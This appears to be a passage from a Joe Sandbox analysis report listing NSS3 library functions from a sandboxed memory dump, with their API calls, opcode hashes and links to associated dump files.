Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: fa7ccfd30dcee1b2bb19e764d18b6c23507f294638cf7c2ad33233e5ab744bce
Instruction ID: 3a6167e5dd8d626c089f4c4ed7ad810e168790181c056ffda4644912ff84eadf
Opcode Fuzzy Hash: fa7ccfd30dcee1b2bb19e764d18b6c23507f294638cf7c2ad33233e5ab744bce
Instruction Fuzzy Hash: CCA1A4717082008BEB49EF26EDC977E37B6BB46714F18112ED41647B84DB3D9846CB8A

Function 6C5B1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C5B1ECC

Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590AB
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590C9
Part of subcall function 6C659090: EnterCriticalSection.KERNEL32 ref: 6C6590E5
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C659116
Part of subcall function 6C659090: LeaveCriticalSection.KERNEL32 ref: 6C65913F

TlsGetValue.KERNEL32 ref: 6C5B1EDF
EnterCriticalSection.KERNEL32(?), ref: 6C5B1EEF
PR_ExitMonitor.NSS3(?), ref: 6C5B1F37
PR_Unlock.NSS3(?), ref: 6C5B1F44

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: db6cbf74a5791655cf7466f091dfdb0df2a321a0c3eb4c29ff145735e2be9d8f
Instruction ID: ce479f0b654b6a490ad0c0c0788f2d4542d4be87ab0f30d2dea114131c4325f4
Opcode Fuzzy Hash: db6cbf74a5791655cf7466f091dfdb0df2a321a0c3eb4c29ff145735e2be9d8f
Instruction Fuzzy Hash: 6A71ADB29043019FD700CF25DC50A5BBBF1BF89358F144929E899A7B11E731F959CBA2

Function 6C63DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C63DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C63DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C63DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C63DE77

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: fdc896f96f9afd0e29d4a8d6eb51a8c78d27a66f81a32bdf5f99061ca00f7edb
Instruction ID: 4fe2035ced4b6d371e89cd0d73f7a767e87d1a44c85ec317ec86e5aac74c2dda
Opcode Fuzzy Hash: fdc896f96f9afd0e29d4a8d6eb51a8c78d27a66f81a32bdf5f99061ca00f7edb
Instruction Fuzzy Hash: AE717671A10324CFCB10CF9AC9C0699BBB4FF89718F25A16ED8596B742D770A902CF84

Function 6C5ADFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C5AAB10: DeleteCriticalSection.KERNEL32(D958E852,6C5B1397,5B5F5EC0,?,?,6C5AB1EE,2404110F,?,?), ref: 6C5AAB3C
Part of subcall function 6C5AAB10: free.MOZGLUE(D958E836,?,6C5AB1EE,2404110F,?,?), ref: 6C5AAB49
Part of subcall function 6C5AAB10: DeleteCriticalSection.KERNEL32(5D5E6C7A), ref: 6C5AAB5C
Part of subcall function 6C5AAB10: free.MOZGLUE(5D5E6C6E), ref: 6C5AAB63
Part of subcall function 6C5AAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C5AAB6F
Part of subcall function 6C5AAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C5AAB76

TlsGetValue.KERNEL32(?,?,6C5AB266,6C5B15C6,?,?,6C5B15C6), ref: 6C5ADFDA
EnterCriticalSection.KERNEL32(?,?,?,6C5AB266,6C5B15C6,?,?,6C5B15C6), ref: 6C5ADFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C5AB266,6C5B15C6,?,?,6C5B15C6), ref: 6C5AE029
PK11_IsLoggedIn.NSS3 ref: 6C5AE046

Part of subcall function 6C5B8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5B8FAF
Part of subcall function 6C5B8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5B8FD1
Part of subcall function 6C5B8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5B8FFA
Part of subcall function 6C5B8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C5B9013
Part of subcall function 6C5B8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353), ref: 6C5B9042
Part of subcall function 6C5B8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5B905A
Part of subcall function 6C5B8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C5B9073
Part of subcall function 6C5B8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353), ref: 6C5B9111

PR_Unlock.NSS3(?,?,?,?,6C5AB266,6C5B15C6,?,?,6C5B15C6), ref: 6C5AE149

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 66961278f2fd16eb48b129c8e16eccfb2d246500f300f5cd359ac50b3156d6cb
Instruction ID: 629319fb234ed215eba0c5b8bd570915845ed5fa39fd27f96166ed9b1b9c9da2
Opcode Fuzzy Hash: 66961278f2fd16eb48b129c8e16eccfb2d246500f300f5cd359ac50b3156d6cb
Instruction Fuzzy Hash: 8C514670600611CFDB10DFAAC88476EBBF0BF84308F15896CD9998B741E771E886CB92

Function 6C5BBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C5BBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5BBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C599F71,?,?,00000000), ref: 6C5BBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C5BBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5BC014

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 3d4aaf12fad15732cab2757f9ee0c1341b6441e9efd9161ad316b11bd946ee01
Instruction ID: 8c4b9fe634ad99a1b9fd03e7f291d2e568b50e4deee90a9e334ca00ef0ed81d2
Opcode Fuzzy Hash: 3d4aaf12fad15732cab2757f9ee0c1341b6441e9efd9161ad316b11bd946ee01
Instruction Fuzzy Hash: A341D671A012059BEB00DE66DCD0BBF7BB9AF85208F104128E919F7B41FB71E945CB91

Function 6C58EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C58EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C58EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C58EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C58EEEB
free.MOZGLUE(?), ref: 6C58EEF6

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 58a91699d6a4c695ebb9321cf18a9b024250befb87a7b2937499bb32965ba81d
Instruction ID: d0a353c9c0fad67015447128749774b5938b0b6ee3a5d61c98023a6a13554e7c
Opcode Fuzzy Hash: 58a91699d6a4c695ebb9321cf18a9b024250befb87a7b2937499bb32965ba81d
Instruction Fuzzy Hash: D6316C75602220ABEB209F2DDC85B663BF4FB46304F040529E85A87B50D771E814CBF5

Function 6C5A1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5A1F1C

Part of subcall function 6C5F0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1000
Part of subcall function 6C5F0FF0: PR_NewLock.NSS3(?,00000800,6C58EF74,00000000), ref: 6C5F1016
Part of subcall function 6C5F0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5987ED,00000008,?,00000800,6C58EF74,00000000), ref: 6C5F102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C6B9EBC), ref: 6C5A1FB8
SEC_ASN1EncodeItem_Util.NSS3(6C6B9E9C,?,?,6C6B9E9C), ref: 6C5A200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C5A2020

Part of subcall function 6C596A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C59AD50,?,?), ref: 6C596A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5A2030

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 94036a3b055d00d324a31b17c8d6463d3fbd970099fabee504da22f9a5982fb7
Instruction ID: 4204e88fe912281d807a1c0a16988d2596a83af164228a4f9c1b246bfdc9605a
Opcode Fuzzy Hash: 94036a3b055d00d324a31b17c8d6463d3fbd970099fabee504da22f9a5982fb7
Instruction Fuzzy Hash: FD21E375901641EBE7018A57EC41BAF7768FF8535CF140215E82896B80E731E92ACBB1

Function 6C591DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C591E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C591E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C591E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C591E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C591EAD

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: f7cdc1df4755b0188beafaafe5396195180e0c19f0b802d7e31d49f07567e972
Instruction ID: 9acd6fa1bf650a5b38c6ad409aa6c1acb78b000907cd0130e07ce4ad46902b8e
Opcode Fuzzy Hash: f7cdc1df4755b0188beafaafe5396195180e0c19f0b802d7e31d49f07567e972
Instruction Fuzzy Hash: 2E21D376E08364A7DB008E68DC40B9BB798DBC5368F144678ED6D57780E730DD0987D6

Function 6C6A1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C6A1E5C

Part of subcall function 6C659BF0: TlsGetValue.KERNEL32(?,?,?,6C6A0A75), ref: 6C659C07

PR_Lock.NSS3(00000000), ref: 6C6A1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6A1EAB
PR_GetCurrentThread.NSS3 ref: 6C6A1ED0
PR_Unlock.NSS3(?), ref: 6C6A1EE8

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: a315230eb75a5c4739750bb8de0870dace2dd7c629dac27401aa44c70c3191ef
Instruction ID: 60a8dd1343c3e92e5b60abc93f39a950731eacb0e52aa4ba7768e8a096c3cc9c
Opcode Fuzzy Hash: a315230eb75a5c4739750bb8de0870dace2dd7c629dac27401aa44c70c3191ef
Instruction Fuzzy Hash: 4F21CF74A14622EBD700CF99D840A46B7B1FF45718B258229E8198BB41D730FC23CBDD

Function 6C5EBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C59E708,00000000,00000000,00000004,00000000), ref: 6C5EBE6A

Part of subcall function 6C5F0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5A04DC,?), ref: 6C5EBE7E

Part of subcall function 6C5EFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5E8D2D,?,00000000,?), ref: 6C5EFB85
Part of subcall function 6C5EFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5EFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C5EBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5A04DC,?,?), ref: 6C5EBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C5EBEEB

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 1b01f70eeb8abd82a1d613dd0dd67e495d220ea7b2c75ee8f17e6c31b2e2dc6c
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 94113476A04315A7E710ADA5AC80F27736D9B8875AF040121FE1482B52FB31DC0887E9

Function 6C59AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C593FFF,00000000,?,?,?,?,?,6C591A1C,00000000,00000000), ref: 6C59ADA7

Part of subcall function 6C5F14C0: TlsGetValue.KERNEL32 ref: 6C5F14E0
Part of subcall function 6C5F14C0: EnterCriticalSection.KERNEL32 ref: 6C5F14F5
Part of subcall function 6C5F14C0: PR_Unlock.NSS3 ref: 6C5F150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C593FFF,00000000,?,?,?,?,?,6C591A1C,00000000,00000000), ref: 6C59ADB4

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C593FFF,?,?,?,?,6C593FFF,00000000,?,?,?,?,?,6C591A1C,00000000), ref: 6C59ADD5

Part of subcall function 6C5EFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5E8D2D,?,00000000,?), ref: 6C5EFB85
Part of subcall function 6C5EFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5EFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C6B94B0,?,?,?,?,?,?,?,?,6C593FFF,00000000,?), ref: 6C59ADEC

Part of subcall function 6C5EB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6C18D0,?), ref: 6C5EB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C593FFF), ref: 6C59AE3C

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: e54bc212c72348e73c7462e9cef7234a89da3cf67ce1b090ebdf47e6e4556bd0
Instruction ID: e60ecd71c6cb55db6fc85f956fbdc4bbbef23059f93f2af48a648fcfa94580cd
Opcode Fuzzy Hash: e54bc212c72348e73c7462e9cef7234a89da3cf67ce1b090ebdf47e6e4556bd0
Instruction Fuzzy Hash: 6B117871E00318ABE700AB659C40BBF73B8DFD524CF004228EC1996741FB20EA5886F6

Function 6C5A8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C5B0710), ref: 6C5A8FF1
PR_CallOnce.NSS3(6C6F2158,6C5A9150,00000000,?,?,?,6C5A9138,?,6C5B0710), ref: 6C5A9029
calloc.MOZGLUE(00000001,00000000,?,?,6C5B0710), ref: 6C5A904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C5B0710), ref: 6C5A9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C5B0710), ref: 6C5A9078

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 79ed2072ab1b279710b167135733e785c1e6586e0815e076358cfd73dd3cbfa4
Instruction ID: 5605515cf3507e191176680fd2bffc4c184635fb0b800e5c7380f4fa5ab315d8
Opcode Fuzzy Hash: 79ed2072ab1b279710b167135733e785c1e6586e0815e076358cfd73dd3cbfa4
Instruction Fuzzy Hash: B81121717001715BE7205AEFAC44AAE36A8EB827ECF500421FD98C2A40F753CC5683A9

Function 6C5BCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C5D1E10: TlsGetValue.KERNEL32 ref: 6C5D1E36
Part of subcall function 6C5D1E10: EnterCriticalSection.KERNEL32(?,?,?,6C5AB1EE,2404110F,?,?), ref: 6C5D1E4B
Part of subcall function 6C5D1E10: PR_Unlock.NSS3 ref: 6C5D1E76

free.MOZGLUE(?,6C5BD079,00000000,00000001), ref: 6C5BCDA5
PK11_FreeSymKey.NSS3(?,6C5BD079,00000000,00000001), ref: 6C5BCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C5BD079,00000000,00000001), ref: 6C5BCDCF
DeleteCriticalSection.KERNEL32(?,6C5BD079,00000000,00000001), ref: 6C5BCDE2
free.MOZGLUE(?), ref: 6C5BCDE9

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 4e880ca877983598b9238076227f44ba39ce7859f9ce7233dce658b4bb2b476a
Instruction ID: 99d3443935c59adbe4a25a96fdc3646a6a7d8395d77cea043714bdc66fa17833
Opcode Fuzzy Hash: 4e880ca877983598b9238076227f44ba39ce7859f9ce7233dce658b4bb2b476a
Instruction Fuzzy Hash: 7311A3B6B01611BBDB00AF69EC859967B2CFB48259B140122F91997E01D732F464C7E5

Function 6C622CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

